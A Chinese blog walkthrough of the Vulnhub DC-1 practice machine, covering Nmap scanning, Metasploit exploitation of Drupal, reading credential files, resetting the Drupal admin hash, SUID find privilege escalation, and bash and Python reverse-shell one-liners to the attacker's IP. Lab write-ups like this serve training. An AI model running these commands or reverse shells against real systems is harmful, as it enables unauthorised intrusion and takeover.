Vulnhub-DC1

前言

一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。

本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权,并找到官方设计的5个flag。

环境配置

虚拟机Kali:IP-192.168.232.140

DC-1靶场机:

官网下载 https://download.vulnhub.com/dc/DC-1.zip

将攻击机kali和vulhub靶机配置一个网卡即可!这里使用的都是NAT模式。

渗透过程

信息收集阶段

通过Nmap进行网段的存活主机的探测,以及端口的探测:

命令:nmap -sV -Pn 192.168.232.0/24

这里发现192.168.232.147 便是靶机的地址,开放的端口存在22 80 111端口,尝试访问80web服务:

这个界面现在来看是相当的熟悉了,还记得ISCC2023的实战题目就是这个Drupal的远程命令执行吧?

drupal是一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置。在Drupal 6.x,7.x,8.x系列的版本中,均存在远程代码执行漏洞。

MSF攻击

接下来我们尝试使用msf来进行攻击:

msfconsole
search drupal
use 1
set rhost 192.168.232.147
set lhost 192.168.232.140
run

接下来开启交互式shell

交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

我们可以看到当前的用户是www-data

python -c		//实际上-c代表着command的意思,可以再命令行中调用python代码
import pty;pty.spawn("/bin/bash")	//使用 python 的 pty 来转换为 交互式shell
也可以使用:"__import__('subprocess').call(['/bin/bash'])"

Linux机器信息收集

DNS配置文件

/etc/resolv.conf

系统用户配置文件

/etc/passwd

(这里发现了flag4 该文件的路径在/home/flag4)

影子文件

/etc/shadow			系统用户的密码信息

说是没有权限

查看进程

ps aux

发现数据库进程!

寻找flag

当前的目录下面存在着flag1.txt,但是说是需要寻找配置文件:

接下来就去查询了一下drupal的配置文件,说是有一个settings.php文件

之后定位到这个文件的路径:

发现了flag2的提示:他说“使用暴力破解和字典攻击并不是唯一获得权限的方式,你能用这些信息做什么?”

下面就是数据库的用户和密码了,那么我们就可以连接数据库了:

使用数据库的账号和密码来连接到数据库:

查看存在的数据库:(show databases;)

查看drupaldb数据库中存在哪些表:

发现了存在着user表。

这里经过查阅相关资料,两种方法可以重置密码:

  1. 在根目录下面的index.php中添加
require_once 'includes/password.inc';
require_once 'includes/bootstrap.inc';
echo user_hash_password('123456');

这样就能在页面中显示123456加密后的密码。

  1. 定位到drupal根目录下
    1. 执行 script/password-hash.sh 密码 这样也是可以获取到加密后的密码的

之后有了加密的密码,便可以更新掉users表中的密码!

接下来就是去修改密码:

使用admin 123456 登录drupal:

Find content里面发现了还未发布的flag3!

提权

利用SUID提权

首先是查看哪些文件具有suid权限:

find / -perm -u=s -type f 2>/dev/null

首先查找一下find命令在哪里: which find

再检查一下find命令是否存在suid权限:ls -l /usr/bin/find

发现确实find命令是具有suid权限的。

最后使用find命令执行一下‘whoami’发现是root权限:

touch getroot

find / -type f -name getroot -exec "whoami" \;

这里需要注意的是find 后面跟着的路径必须是存在的! 如果不存在的话 后面的exec就会报错,不会执行的

find /etc/passwd -exec "/bin/sh" \;

nc监听反弹shell

kali攻击机上执行 :nc -lvvp 6666

Msf中执行构建好的find命令:

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.232.140/6666 0>$1 \;

还可以通过python来反弹shell:

find /etc/passwd python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

此时已经提权为root权限啦。

最终在root目录下,发现了最终的flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/320389.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

c语言if条件语句

c语言if条件语句 c语言if条件语句 c语言if条件语句一、if条件格式二、if else条件格式三、if else if else条件格式 c语言支持最基本的三种程序运行结构:顺序结构、选择结构、循环结构 一、if条件格式 语句格式: if(表达式) {if条件执行语句 }#include&l…

乐意购项目前端开发 #1

一、创建vue项目 1. vue create 项目名 2. 运行项目 npm install npm run dev3.使用Git管理项目 创建远程仓库 leyigou 在项目文件终端执行以下代码 git init # git 初始化#这个要使用自己的仓库 git remote add origin gitgitee.com:xie-weijia/leyigou.git # 添加远程仓…

自定义白平衡调节的步骤 白平衡怎么设置好 白平衡和色温的关系 用什么软件调节白平衡

不管是拍摄视频/图片,还是视频/图片后期处理,白平衡调节都是很重要的环节,比如在氛围感很好咖啡厅内拍一张照,但是拍出来的人物脸色蜡黄,就是因为白平衡没设置好,下面就说说自定义白平衡调节的步骤&#xf…

Halcon滤波器 laplace 算子

Halcon滤波器 laplace 算子 使用laplace 算子对图像进行二次求导,会在边缘产生零点,因此该算子常常与zero_crossing算子配合使用。求出这些零点,也就得到了图像的边缘。同时,由于laplace算子对孤立像素的响应要比对边缘或线的响应…

学会编写自定义configure脚本,轻松实现定制化配置

学会编写自定义configure脚本,轻松实现定制化配置 一、configure脚本的作用和重要性二、configure脚本的基本结构和语法三、编写自定义configure脚本的步骤四、示例五、常见的问题总结 一、configure脚本的作用和重要性 configure脚本是用于自动配置软件源代码的脚…

瑞_Java开发手册_(二)异常日志

文章目录 异常日志的意义(一) 错误码(二) 异常处理(三) 日志规约附:错误码列表 🙊前言:本文章为瑞_系列专栏之《Java开发手册》的异常日志篇,本篇章主要介绍异常日志的错误码、异常处理、日志规约。由于博主是从阿里的《Java开发手…

[含完整代码]Linux使用.sh脚本自动部署(启动|停止|状态|日志)项目[超详细]

前言: 个人博客:www.wdcdbd.com 我们在linux部署.jar项目时,都需要通过java -jar的形式来部署,每次都要手动停止,部署,这样用起来会很麻烦。所以,这篇文章就是自己通过.sh脚本一键启动&#xf…

javacv和opencv对图文视频编辑-常见错误汇总

JavaCV 是一个使用 Java 语言实现的 OpenCV 和 FFmpeg 的接口库,它允许 Java 开发人员使用这些强大的多媒体处理库。然而,在使用 JavaCV 进行开发时,可能会遇到一些常见的错误。在本文中,我将介绍一些常见的 JavaCV 错误和解决方法…

Echarts可视化-数据请求-代码实现和思路

需求:为前端可视化图表提供数据支持。 实现: 时间戳获取优化(细化到秒) 根据时间获取数据(SQL编写) 前端需求数据返回(数据VO) 内容 Apache ECharts 营业额统计 用户统计 订单…

Flutter开发进阶之并发操作数据库

Flutter开发进阶之并发操作数据库 尽管 Flutter 本身不包含任何数据库功能,但可以使用各种第三方库和插件来在 Flutter 应用程序中实现数据库功能; 以下将使用sqflite作为例子,sqflite允许在 Flutter 应用程序中执行 SQL 查询,创…

(Java企业 / 公司项目)分布式事务Seata详解(含Seata+Nacos组合使用)(二)

一. Seata Server配置Nacos 什么是配置中心?配置中心可以说是一个"大货仓",内部放置着各种配置文件,你可以通过自己所需进行获取配置加载到对应的客户端.比如Seata Client端(TM,RM),Seata Server(TC),会去读取全局事务开关,事务会话存储模式等信息.Seata的配置中心…

ElasticSearch _update_by_query

根据查询条件进行数据更新 UPDATE job_call SET admin_id 0 WHERE admin_id 283; kibana.png 1.其中红色框的位置为query的内容,对应为SQL语句中的WHERE admin_id 283 2.划红色线的位置为修改内容,对应SQL中的SET admin_id 0。如果是更新多个字段s…

【2023 我的编程之旅】

前言 转眼 2024 年都过去 14 天了。回顾 2023 有太多技术上的思考以及人生的感悟,接下来趁着 CSDN 官方活动,顺便记录下来。 技术的价值 与现在的年轻人一心只想搞钱不同,刚毕业的时候,我的梦想是进入一家有实力的科技企业&…

Codeforces Bye 2023! - D - Mathematical Problem - 题解

目录 Mathematical Problem 题目大意: 思路解析: 代码实现: Mathematical Problem 题目大意: 第 31 中学的数学家们接到了以下任务: 给你一个多数 n ,你需要找出 n 个不同的数,它们都是整…

Linux 内核学习 3 - 虚拟内存和物理内存

虚拟内存其实是 CPU 和操作系统使用的一个障眼法,联手给进程编织了一个假象,让进程误以为自己独占了全部的内存空间: 在 32 位系统中,进程以为自己独占了 3G 的内存空间。 在 64 位系统中,进程以为自己独占了 128T 的…

【MySQL】数据处理之增删改

文章目录 一、增加(插入)INSERT INTO...VALUES(...,...)VALUES的方式添加情况一:为表的所有字段按默认顺序插入数据情况二:为表的指定字段插入数据情况三:同时插入多条记录 将查询结果插入到表中 二、修改(…

开源知识库zyplayer-doc部署指南

1.前置条件 docker已经安装 mysql已经安装且数据库zyplayer-doc存在 服务器ip:192.168.168.99/ 数据库账户:root,密码:123456 2.拉取镜像 docker pull zyplayer/zyplayer-doc:latest 3.启动 docker run -d \--restart unless-stopped \--name zyplayer-doc \-p 8083:8083 …

C语言常用库函数

1.C语言标准库函数 C语言标准库函数由15个头文件组成。 1.数学函数 数学计算是计算机最擅长的运算,计算机大部分运算方法都是基于数学计算执行的。C语言提供了很多用于数学计算的库函数,合理利用这些库函数,将对程序的编写和运行起到事半功…

Python相对导入和绝对导入

目录结构: 在 en_de_model_CDDD.py 文件有两种导入方式可以导入utils.py,分别是 相对导入: from ...public_utils.utils import canonicalize_smiles 绝对导入: from public_utils.utils import canonicalize_smiles 这里推荐使…

大量的视频如何批量随机分割的方法:批量剪辑不求人

在处理大量视频文件时,经常要进行随机分割,满足不同的需求。制作短视频、片段集锦等,批量随机分割视频都是一个高效的方法。下面来看云炫AI智剪如何操作的吧。 分割后的视频缩略图展示,被分割的视频自动分类保存在对应的文件夹中。…